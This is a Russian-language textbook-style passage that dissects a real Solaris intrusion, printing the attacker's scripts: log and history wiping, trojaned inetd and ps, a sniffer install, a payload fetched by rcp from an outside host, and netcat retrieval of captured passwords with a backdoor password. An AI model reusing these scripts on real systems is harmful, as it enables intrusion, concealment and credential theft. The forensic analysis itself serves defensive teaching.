Здавалка
Главная | Обратная связь

Реальные сценарии атак



Сценарии, о которых рассказывалось выше, мы обнаружили во взломанных системах. Они показывают механизмы использования хакерами большого количества взломанных систем для сбора паролей.

Начнем исследование методов вторжения с системы-жертвы. Рассматриваемая система была взломана посредством переполнения буфера с помощью программы RPC Tooltalk для ОС Solaris. Был найден сценарий под названием bd, который загружался в систему.

unset HISTFILE; unset SAVEHIST

Хакер отключает файл журнала, чтобы его действия не фиксировались.

cp doc /usr/sbin/inetd;chown root /usr/sbin/inetd;chgrp root /usr/sbin/inetd;touch 0716000097 /usr/sbin/inetd;

Хакер копирует файл doc поверх существующего inetd, изменяет владельца, группу и метку времени файла в соответствии с оригиналом.

rm -rf doc /tmp/bob /var/adm/messages /usr/lib/nfs/statd/usr/openwin/bin/rpc.ttdb* /usr/dt/bin/rpc.ttdb*

Хакер удаляет файл doc, извлеченный из neet.tar, /tmp/bob (см. далее в разделе), сообщения (для удаления информации об атаке), файлы statd и rpc.ttdb (программу Tooltalk). Интересно, что хакер удалил также и метод, использовавшийся для получения доступа к системе.

rm -rf /var/log/messages /var/adm/sec* /var/adm/mail* /var/log/mail* /var/adm/sec*

Хакер удаляет дополнительные файлы журналов для скрытия своих действий.

/usr/sbin/inetd -s;/usr/sbin/inetd -s;telnet localhost;/usr/sbin/inetd -s;

Хакер запускает две копии inetd. Затем с помощью telnet он подключается к локальному хосту и запускает третью копию inetd.

ps -ef | grep inetd | grep bob | awk '{print "kill -9 " $2 }' > boochmod 700 boo./boo

Хакер определяет место расположения первоначальной версии inetd, отыскивая inetd и bob в таблице процессов. Затем он создает файл boo, содержащий строку "kill -9 {inetd process id}", изменяет разрешения файла так, что он становится исполняемым, и запускает его. Затем удаляет исходный процесс inetd.

ps -ef | grep nfs | grep statd | awk '{print "kill -9 " $2 }' > boochmod 700 boo./boops -ef | grep ttdb | grep -v grep | awk '{print "kill -9 " $2 }' > boochmod 700 boo./boorm -rf boo

Затем он определяет место расположения процессов statd и ttdb и удаляет их таким же образом.

mkdir /usr/man/tmpmv update ps /usr/man/tmpcd /usr/man/tmpecho 1 \"./update -s -o output\" > /kernel/pssyschmod 755 ps update./update -s -o output &

Хакер создает директорию в /usr/man и помещает туда снифер и файл ps. Он создает сценарий, активизирующий снифер при перезагрузке системы, и запускает снифер.

cp ps /usr/ucb/psmv ps /usr/bin/pstouch 0716000097 /usr/bin/ps /usr/ucb/ps

Хакер заменяет исходный файл ps новым и изменяет его метку времени в соответствии с оригиналом.

cd /ps -ef | grep bob | grep -v grepps -ef | grep stat | grep -v grepps -ef | grep update

Далее хакер проверяет, что все работает как надо. Огромный интерес для нас представляет сценарий bd. Он показывает изменения в системе и дает подсказку о том, как хакер вошел в систему. Ключевой момент здесь - ссылка на /tmp/bob. При анализе причин удаления хакером исходного процесса inetd мы предположили, что этот процесс выполнялся вместе с файлом конфигурации /tmp/bob (inetd можно вызвать для работы с файлом конфигурации, введенным в командной строке). Неизвестно, что было в этом файле, но, вероятно, исходный эксплойт Tooltalk позволял перезагружать inetd с новым файлом конфигурации.

Другим интересным моментом сценария является уничтожение хакером процессов, с помощью которых он проник в систему. Наверное, он не хотел, чтобы другие атаковали его "владение". Главной ошибкой сценария был запуск трех процессов inetd. Произошло следующее: множественные процессы inetd стали видны, и в папке/var/log/messages появились сообщения о том, что второй и третий процессы inetd не могут связаться с telnet и FTP-портами.

Взломав системы изначально с помощью эксплойта, хакер затем использовал сценарии для загрузки каждой системы со снифером и "черным ходом". Он создал три сценария. Первый сценарий назывался massbd.sh.

#!/bin/shfor i in 'cat $1'; do (./bd.sh $i &);done

Этот сценарий использовал файл ввода (вероятно, список IP-адресов) и исполнял сценарий bd.sh (отличающийся от сценария bd, рассмотренного выше), направленный к каждому адресу.

В сценарии bd.sh содержатся всего две строки:

#!/bin/sh./bdpipe.sh | telnet $1 1524

Данный сценарий дает хакеру ценную информацию о том, что делает в системе первоначально запущенный эксплойт переполнения буфера. Данный сценарий берет аргументы из командной строки и передает команды от третьего сценария bdpipe.sh через telnet. Обратите внимание на порт назначения - 1524.

Третий сценарий называется bdpipe.sh. Он содержит набор команд, передаваемых через telnet и исполняющихся на целевой системе.

#!/bin/shecho "cd /tmp;"echo "rcp demos@xxx.yyy.zzz.aaa:neet.tar ./;"sleep 2echo "tar -xvf neet.tar;"sleep 1echo "./bd;"sleep 10echo "rm -rf neet.tar bd update*;"sleep 10echo "exit;"

Скрипт bdpipe.sh производит удаленное копирование файла neet.tar от другой системы, открывает файл и исполняет сценарий bd, найденный нами на компьютере-жертве. Этот сценарий удаляет neet.tar, bd и обновляет /tmp. Такой подход сработал не на всех системах, что позволило найти файл neet.tar и просмотреть его содержимое.

Можно предположить, что хакер планировал быстро взломать большое количество систем. Хотя сценарии несложные, много работы ушло на построение всех элементов атаки, чтобы добиться ширины ее размаха.

Из собранной информации видно, что хакер не стал загружать снифер на все системы-жертвы. Были найдены сценарии, предназначенные для извлечения собранных паролей. Первый сценарий назывался mget.sh.

for i in 'cat $1' ; do (./sniff.sh $i &) ; done

Этот сценарий использовал список IP-адресов для вызова sniff.sh. Сценарий sniff.sh содержит всего две строки:

#!/bin/sh./getsniff.sh | ./nc -p 53982 $1 23 >> $1.log

Сценарий sniff.sh использовал IP-адреса для установки соединения с целевой системой через порт 23 (telnet) от специального порта отправителя (53982). Программа nc(называемая также netcat ) позволяет устанавливать соединение от любого порта к любому порту. Находка этого сценария подсказала, что "черный ход" находился в измененном файле inetd. При установке соединения telnet от порта 53982 измененный inetd мог отыскивать пароли и, в случае успеха, запускать интерпретатор команд.

Третий сценарий назывался getshniff.sh. Он передавался через соединение nc и выполнялся на целевой системе.

#!/bin/shsleep 2echo "oir##t"sleep 1echo "cd /usr"sleep 1echo "cd man"echo "cd tmp"sleep 2echo "cat output*"sleep 1echo "exit"

Сценарий getshniff.sh. дал нам пароль, который использовался вместе с измененным inetd (oir##t). Он вводил данные в nc для закрытия соединения с целевой системой и получал выходной файл из снифера.

Все эти сценарии наглядно показывают, чем занимался хакер в системе. После взлома системы он мог удаленно получать журналы снифера и, следовательно, проникать в системы, на которые не попал во время первой атаки. Автоматизация процесса взлома и извлечения паролей давала возможность быстрого доступа к большому количеству систем и расширения успеха с помощью получения и сохранения дополнительных паролей.

8. Виявлення методів направлених хакерських атак. Об'єкти атак. Попереднє дослідження. Попереднє дослідження адрес. Попереднє дослідження телефонних номерів. Попереднє дослідження безпровідних мереж. Попереднє дослідження системи. Попереднє дослідження сфери діяльності. Фізичні методи збору даних. Методи атак. Електронні методи атак. Фізичні методи атак. Використання зламаної системи.

Хакер, использующий методы направленных атак, пытается проникнуть в конкретную организацию или нанести ей ущерб. Мотивацией его действий является стремление получить от организации информацию определенного типа. Он стремится причинить вред несколькими способами, используя для этого направленные DoS-атаки. Уровень мастерства таких хакеров выше, чем у тех злоумышленников, которые не имеют определенных целей.

Объекты атак

Выбор объекта атаки обычно обоснован - это информация, представляющая интерес для хакера. Хакера может нанять сторонняя организация для получения некоторых сведений. Независимо от причины, объектом атаки становится конкретная организация (не обязательно ее внутренняя система).







©2015 arhivinfo.ru Все права принадлежат авторам размещенных материалов.